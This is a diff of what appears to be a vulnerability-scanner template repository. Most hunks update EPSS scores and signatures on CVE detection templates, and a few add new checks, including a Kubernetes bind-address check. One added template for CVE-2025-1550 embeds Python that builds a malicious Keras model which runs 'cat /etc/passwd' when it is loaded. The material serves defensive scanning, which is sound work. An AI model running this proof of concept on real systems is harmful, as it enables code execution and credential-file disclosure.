+    - Cloud Vulnerability Assessment Guide(2024) by KISA
+  tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
+
+variables:
+  component: "kube-scheduler"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-scheduler -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-scheduler'
+
+      - type: word
+        words:
+          - "--bind-address=127.0.0.1"
+          - "--bind-address=::1"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
+# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
@@ -11,8 +11,8 @@ info:
  metadata:
    verified: true
  classification:
-    epss-score: 0.94482
-    epss-percentile: 0.99998
+    epss-score: 0.94464
+    epss-percentile: 0.99994
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
@@ -138,4 +138,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4a0a00473045022100869158bef50a465b37da0a4a9938b474b78d4494eb412bd5962b937d498be69102206683aa92f5ee33e197cb690c2ebb643014c78b55b68d7d6ec5ebb0e4b166e4aa:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044021f08730bdd93c1e5d349e30aba9d6e49708554854c599f6b69e570663e6937f6022100f69bf373b4572851d2943c9ac6e1c502ea41197277abaa4d58ab5c147bafcac9:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
-    epss-score: 0.93817
-    epss-percentile: 0.99854
+    epss-score: 0.93875
+    epss-percentile: 0.9986
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -15,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.94508
-    epss-percentile: 0.99999
+    epss-score: 0.94475
+    epss-percentile: 0.99998
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -104,4 +104,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a0047304502201673a5118dfdbecf60a1be63a1d24a000ed266e10d0c7fb6f78eb4598669fde1022100fa926a7397ae4e913a90e271a609b90629fd6be8e250915b0abe22c282144c60:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e1496aea12dd7d8360ca428f1b5f8aaac521642504593625cfdd6fdd50554b6302200cc16c1df502a88f9ce58860fc3a8b491e6c9a4ff33b180a61d215280b97e9b9:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
    epss-score: 0.94414
-    epss-percentile: 0.99977
+    epss-percentile: 0.99975
  metadata:
    verified: true
    vendor: microsoft
@@ -154,4 +154,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4a0a00473045022100b5aa52708ffbb2d9f89134de40b403a3c73ff25c65b22234c2670242b173d0e8022005d624bb447165e84abef3c774bb55936da982c0305539fe4b824cc62f588db8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e24420fdcf4de91d370c7aad1109a0b9e12c7a0a5a45977bdf9b1deab4edd5bb022100be4cf9432583500208d8282bda0b5913b0a99f46d01a4dcf9bd8cf0cb766a523:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
    epss-score: 0.86126
-    epss-percentile: 0.99365
+    epss-percentile: 0.99353
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -47,4 +47,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 4b0a00483046022100e5c2f380c478f32d10a2739ed8d7dbf1c18b63ec19e3e4fd973d2a67911203ef022100a8a3620c75626c55a4510266c9defefdca0e3477a6be1c80f30d187da41f1d0c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210085b92685b1bfd0414acb52977757bd76db71254cccdeb2fcae945c82eaf44ece02210087377f6d6c7dd561271722a2aff63533e21217b470225075ffb2e23a5087b95a:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.93081
-    epss-percentile: 0.99775
+    epss-score: 0.93865
+    epss-percentile: 0.99858
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -102,4 +102,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4a0a00473045022100d9da65c70c4ca8f260836e5b774edd12d41561d03f9f142e9d6c546e26ded31d0220345109b405df5bd0aced26c9d9814a4b4d76ff1eab24a6a68cf57d030df04cbc:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d77b29d042f79c530ecf6ccde43ddc5e50c3dd33fe80a2fd99dd1e903cdb139022014c72663cbad42f4b76119650e3a2e8043cd3e9e7808beb1fafc7504d41bb47a:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.9169
-    epss-percentile: 0.9967
+    epss-score: 0.92155
+    epss-percentile: 0.99693
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.92019
-    epss-percentile: 0.99691
+    epss-score: 0.92235
+    epss-percentile: 0.99698
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -40,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 490a0046304402206a26df5d59703d43d60c65f819fec8a18f01c6f9601fc631dbb0d4dd5fac11ab022053e81d13af27aa8eb25d64d7a341eb753032c560e24c38e38dd6c17ac8136f77:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dc7c00ab176125258a61cb73cbae4a476ac3ed30e413a84da417d2ad940ba1a002205cc8a03b781e29c9c66b73f9259fa9bf87970e52b84ef2d5551672d9afba95b0:922c64590222798bb761d5b6d8e72950
@@ -23,7 +23,7 @@ info:
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
    epss-score: 0.9394
-    epss-percentile: 0.99874
+    epss-percentile: 0.99871
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -197,4 +197,4 @@ code:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 490a00463044022015db877d3ba82455b9b6c4790a21a0a1fbf15298a5d058b0e1f2dd55ba2e294002200b6cddf0aa7864e01c29b8d6e4b0ebc0ec1701baa343fbc66f73a3b94bdb1b22:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d2af2dfdaec0bb3603e11ee21cae5d8d463d064346c4fd33dafd0d54c73937b9022074421a7c25d5e18222da9a0a70b404a14a17cfa85f01a7480285ea8fa9f9a5dc:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.92037
-    epss-percentile: 0.99694
+    epss-score: 0.91874
+    epss-percentile: 0.99672
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4b0a00483046022100bcc9575b543f193888153580cc4a3c78e38b847310061fe6a8a0047f498fa06f022100a7f8a67bb888081e9ef7ccfe95153b86a02baa95e2a1f024a02dd5bec98f82e7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205661bfabdeec84cdb0d8cd85f400fdde90013e98f28947af2016ba03a7e95e270221008b847b21e9f65244e274e61e784ce5be03d3c313f744589eca2d93de00634b6b:922c64590222798bb761d5b6d8e72950
@@ -16,8 +16,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.9117
-    epss-percentile: 0.99639
+    epss-score: 0.91769
+    epss-percentile: 0.99663
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -626,4 +626,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4b0a00483046022100f3b4f1acb6f511b36bad03fee5f72730151dfecb5fa4998a3c79a8760624d49f022100e87284a26b9fb2e8164a6be1824cdb5e1e62e862e06d41d5e35ad20856daf16b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fd36f070fb1283f5714fcdd0abf3b8f840a3a849d12a42a98aaef8a4a7b92e4022100e43e4a9d7aabf92eac650ef4ccc0165fc0c166a1f68e60690329b93738a4ba32:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
    epss-score: 0.86244
-    epss-percentile: 0.99369
+    epss-percentile: 0.99356
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -90,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4a0a0047304502201308cb0bd5dafab9c7d3a5912da33ed59f853d78b31a513e9c516cb017d552b3022100fbdbd05b062321a694f01a44d1d647b38aab9626c0784ebda210bf84c1b963b6:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f476545141ffc0526b4e3c7c6d59d2ac7b6bd6737263b3e5c43382c39b3488e0220343b85850dbe3d9c50b8b098109edcfa85d2743f605d6aadc13d6e49d0f72ad1:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.78361
-    epss-percentile: 0.98987
+    epss-score: 0.69791
+    epss-percentile: 0.98589
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 490a0046304402203fa2dc626ae41841960a2f35bda69ffec62f7fb357ef82165ad78955c39d6c0c022009c0ee1587f1d287fa07440f3e5052b5fe286e7572d0e53fa4fcd46d886e4e86:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220155082bb6a73ee722b38f8b1f4ac2aaeda267a117bfb52938ee665784a056c1502203d4e1504fa39a81de29581207a6bb7106978be9db76534a48024d146a3bfcffe:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.25078
-    epss-percentile: 0.95965
+    epss-score: 0.31786
+    epss-percentile: 0.96608
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 490a0046304402201039bbf1fa7cb2a2b2ce6c2582948ae7e8c238b5239a25149b526559b6ec9424022068927783003349aa159613a99bad7c0a7c2c161817f7ba2f069c26866ac5fabb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bbfa15e8bdc2aa5d8a417f4883e5780d372254d1125a52d1ab0a1ce0e5c8c0aa022031ec4301016dbe92d6cead98440bd7d15786aa40f1005a386e0f4337fcd3f8a4:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.69676
-    epss-percentile: 0.986
+    epss-score: 0.67268
+    epss-percentile: 0.98481
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -54,4 +54,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a0047304502200f329cc1b4f84d497a47fdd2af1ee34464eb4b4d6b8ff8131bce0735ef231560022100f6a3f1447ecf66ac35bc0f88bd1f1c6d2ac1e0c3162a63fef2922037c6708c28:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100909ec94556f8b16006475d760a1911e4a59beaec4a369f95fc71646b6c5567ad02205284d000fddabfb0eb4d3e53c789faa351c731ea5b3d2a7cca511d89992eda52:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,7 @@ info:
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
    epss-score: 0.93687
-    epss-percentile: 0.99836
+    epss-percentile: 0.99832
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -37,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4a0a00473045022100eb9365a6aeb991949bd26b0af2d1a98476595c7e5f1c0f4964efe751edf63b3502200474f65c9c1963fb4d288bf407f8bfae3e8c7e5f86b4631e111e5d31a174db6c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203d3277e020269d68bc7d538db1582bcc38a518efac4aa57697c30a93f828480502201fbb50e3cd29574a62e3d81ce632e07c322ee30feaa1a14eda3a4ec028a4cf53:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.93506
-    epss-percentile: 0.99817
+    epss-score: 0.93259
+    epss-percentile: 0.99791
  metadata:
    max-request: 1
    vendor: zabbix
@@ -71,4 +71,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4b0a004830460221009847f62dd1b32d34c8a63be1a33cee98f01ba64729b22a34daecb7ee27d1db51022100f026f82d40364e4ab2390b461051a6967279f313598e1de74413f7173e4e6627:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f252e3b49ae5db52b7618d5c2654208aae47358ef7dfec34ac50e4281eebd4c60220695276f5ed29947a82f3afa67e1066d5cb2e66272589168d633e2f54898866c5:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.86006
-    epss-percentile: 0.99359
+    epss-score: 0.85778
+    epss-percentile: 0.99331
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -59,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022100b923b9dee06216de4336f4c64bbcc32b77233702859804b102c5130b0c8214ce0220294a8d797b81883111e1bd9de2ab5423668cec7d06a6a679fa2e0047ef760fff:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c10d938a67c70489ce2f679b3c1edca76f59c9b76b8a14973cbcae39272043880220412432fb30cc1ab6715bbd68ddd11c36c56c55e2ad736a047b6c25ea8368eeef:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.14988
-    epss-percentile: 0.94304
+    epss-score: 0.16207
+    epss-percentile: 0.94547
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -29,4 +29,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 4a0a0047304502200d35eeb33d4692bc8493954555160a2c5b0f2487b94306a65f19bb55122056b8022100e2e5255c01b8d7abb8a10850368a3566390505eb786b49211f0322520e092279:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c7f17dda36dcd616b5419e65c76face4811aeaabe0f0c266184084bf4f740213022100c459e7c71c25eaa6857cdb4049688a744fb1bea9c6a1ce5d606876a43856b116:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.39537
-    epss-percentile: 0.97143
+    epss-score: 0.39163
+    epss-percentile: 0.97104
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a0047304502210090ae551f28f4bab3fb780276921411eb772cd0325416fefe2741531ddb27ec4c022063ffaf911ab320457d40ed1e116bd6aa0a701fc6c7d29518afac54ccf5d99d25:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206573dca524aa5cb319dd62380214248d589aa9ea1c2d02f5083ca86e42f3c1160220179f3510f9283e936ad657ac7fe721c1529a1ccf0837bcaca791b576ba073a05:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.93874
-    epss-percentile: 0.99864
+    epss-score: 0.93865
+    epss-percentile: 0.99858
    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

@@ -145,4 +145,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022053c9492152b5a242f33bdd2baa60c17e38d244f3e15b248dfebe103d3537da4e022100ec074c3bb81adc25c2b490f98b04f93accb4c64b8d3d669e43a9619acda027b2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c88f6d837fa2686dde19f9b77dab6f5c8a5825c0f1d153e6208f489eca85fee002205b6c68ad4e1dc544604ef0122e9575e3dead2b352d5be36d0eb4ebb3a5b87fb2:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.7976
-    epss-percentile: 0.99055
+    epss-score: 0.85568
+    epss-percentile: 0.99322
  metadata:
    verified: true
    max-request: 2
@@ -193,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 490a00463044022052e5b775578a7fca6cb990ade7233643fd8f7e44495eaf56f7f62661d3a861be02207bfbf384f7a79e0e5e5e7f192577929a0213e8ccca02d072bbd5e29ebc673ef5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b6fcc8dbe04df0c042479292d3bdbb04fa90fbd39956165c29588bfdf9f5fbfe0220042629ab78737bbceb9076d29e82159d1a14929893815826330324270a98465b:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
    epss-score: 0.41406
-    epss-percentile: 0.9726
+    epss-percentile: 0.97243
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 490a00463044022006b8b326484a5c81f8da2d54c73235eb9ed0dd8be1c1359ad68656c8481c96e902200357b0465882db9a1a82adf437bddf8529ce4e44ee98cf6b6ee94caec37db85f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203f480171de008180e091e1c69fb2006c3434e7b60a3094b4caab19c092ba9f2a022100ecc347483a547ca12e83b2813917e34d1d09c2932f96950dbb0d9d29dc19bc19:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.36115
-    epss-percentile: 0.96929
+    epss-score: 0.53044
+    epss-percentile: 0.97826
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -188,4 +188,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4b0a00483046022100f582435da247d372a892f0cadd60d50b85839655f298e9055a456e808cd3a0a8022100944402534e1ccefe8d2074a1d23814f9e71e5342a703273805c71d0cd9b0916c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100aa88f44216574d162c09bcff77b81c0b203d0041324899f1c8d066c81032e45d0220049e79aa14c431d3b4afe4ebcf56cd327f3949c8183bb31b921f0ce9a4026b30:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,80 @@
+id: CVE-2025-1550
+
+info:
+  name: Keras Model.load_model - Arbitrary Code Execution
+  author: nukunga[seunghyeonJeon]
+  severity: critical
+  description: |
+    The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
+  impact: |
+    Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
+  remediation: |
+    Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-1550
+    - https://github.com/keras-team/keras/pull/20751
+    - https://towerofhanoi.it/writeups/cve-2025-1550/
+  classification:
+    epss-score: 0.04785
+    epss-percentile: 0.88996
+  metadata:
+    max-request: 1
+  tags: cve,cve2025,code,keras,rce,ml
+
+self-contained: true
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import os
+      import sys
+
+      try:
+          import tensorflow as tf
+          from tensorflow.keras.models import load_model
+          from tensorflow.keras.layers import Lambda, Input
+          from tensorflow.keras.models import Model
+          import numpy as np
+      except ImportError:
+          sys.exit(1)
+
+      def create_malicious_model():
+          def malicious_function(x):
+              result = os.popen("cat /etc/passwd").read()
+              print(result)
+              return x
+
+          input_layer = Input(shape=(1,))
+          lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
+          model = Model(inputs=input_layer, outputs=lambda_layer)
+          return model
+
+      def exploit_lambda_layer():
+          model_path = "/tmp/malicious_model.keras"
+          try:
+              model = create_malicious_model()
+              model.save(model_path)
+              del model
+
+              loaded_model = load_model(model_path)
+              test_input = np.array([[1.0]])
+              loaded_model.predict(test_input, verbose=0)
+
+              return True
+          except:
+              return False
+          finally:
+              if os.path.exists(model_path):
+                  os.remove(model_path)
+
+      exploit_lambda_layer()
+
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - "root:.*:0:0:"
+# digest: 490a0046304402202702fa4fb794de06a6a7fb798def00e5e59d05c49c4465820eb9696ce1d7035d022055d99fa4c72b348988ffa7363abadee5549d20fb36240cf9b6ac322211652178:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
    epss-score: 0.76863
-    epss-percentile: 0.98911
+    epss-percentile: 0.98895
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -128,4 +128,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a00473045022100e877d67bb07b4213ccda0e1423a15e427d1ec40e182ef220c977d4e2d9b6118d022006d4fbdc5d89498ed8a4b871af115c9f8589610510a89759be2ac81c325f0828:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202c5cae79496de4e30915b77c571fa5839b41e803432ca3890748d12311562a0a02206abec4b11a87a39174bfe2672f6fce818e87cc0ef263513d55dee76ebb646a60:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.17932
-    epss-percentile: 0.94912
+    epss-score: 0.17247
+    epss-percentile: 0.9476
  metadata:
    verified: true
    vendor: gitlab
@@ -78,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a0046304402202649fbc90d6d9d23a36674a3480a47f79af9343f4f33a3cf741342b9221df49702203e1c004761febb037410a5829551d53cd1986424e3a363349803b78e171fca4c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d02dbf992fe6c05fc7cf15e6f638957a05b46bdc14421e9a73a277315636e46202206cf9c278e3e4483d0380149c1cd27f04c6fe03d2766f96a6472b7bc2a5a6525f:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.64931
-    epss-percentile: 0.98398
+    epss-score: 0.41165
+    epss-percentile: 0.97228
  metadata:
    verified: true
    max-request: 1
@@ -172,4 +172,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4b0a00483046022100d6f79e25ffb9d10c2cc4ca51de5e52e2979aece6deba0f62caa897ef235390f9022100c243d88faee4e2311890c46f013beb7b1f62cd37f568ca84fd94941711b92095:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210089db0a1b82c25420d5775a0b8983ab84d65a12197d4a55d699699e6a05981174022100e479f8d8134ea9933fa0d0e6d4da76bd50b2063e65dc7000b468b988e841e42a:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.56973
-    epss-percentile: 0.98026
+    epss-score: 0.49642
+    epss-percentile: 0.97665
    cwe-id: CWE-287,CWE-362
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
  metadata:
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 490a0046304402205addfd2fcc9bddf251a3606b8baf2b77dfe21e359a260aff0770350ff7804b1302204356334dc2910339645859d33ae0d55886992447645a3d727ecc2162aeab7caf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206f8a0decbbd1459c672aa1bb7894d90045fc531da688cee0129b76714fcb72fa022100e3ef9478a6a4129252b8d7232284f9982ea667e6a19e4752529259b47bd482f5:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.28615
-    epss-percentile: 0.96336
+    epss-score: 0.23131
+    epss-percentile: 0.95705
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 4a0a00473045022100959bb469c6cbcecc35328cc23186e426485767b243807b50454ab6139c6f7de702204ad4389476662d2a781b929111d39bfd640cbc5221ec2a24100063531de9da90:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c6bece7478ac45f88871c6cd3f14651af44d06e06535d8508463675cc7866b31022100b19320a88d18c8d48a7ba4b3a4cc01b24c7dda839140e4c790864b4ca94f0a0e:922c64590222798bb761d5b6d8e72950
@@ -18,13 +18,13 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.04058
-    epss-percentile: 0.88082
+    epss-score: 0.7437
+    epss-percentile: 0.98776
    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: html:"Watchguard" html:"Authentication Server"
-  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev

 variables:
  HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022100c6ba53b550a6681830a09cdd2c39fcee1f49f9ff848666fc142ee5d8d7af19b702205d68ad85902625ec80dcabb54b10cc31582d4586986b2d213c4aa5d31900662e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200b20b5e843543b5c93b206a8371f1e4ba414338ffba73b9802ce6f607c792a1c022011bdd0baafcaafea5825557eb2878d8301fd5618033a17af7f28316310629452:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,34 @@
+id: auto-login-enabled
+
+info:
+  name: macOS Automatic Login Enabled
+  author: geeknik
+  severity: high
+  description: |
+    Checks if automatic login is enabled on macOS, allowing users to log in to the system without entering a password upon startup.
+  impact: |
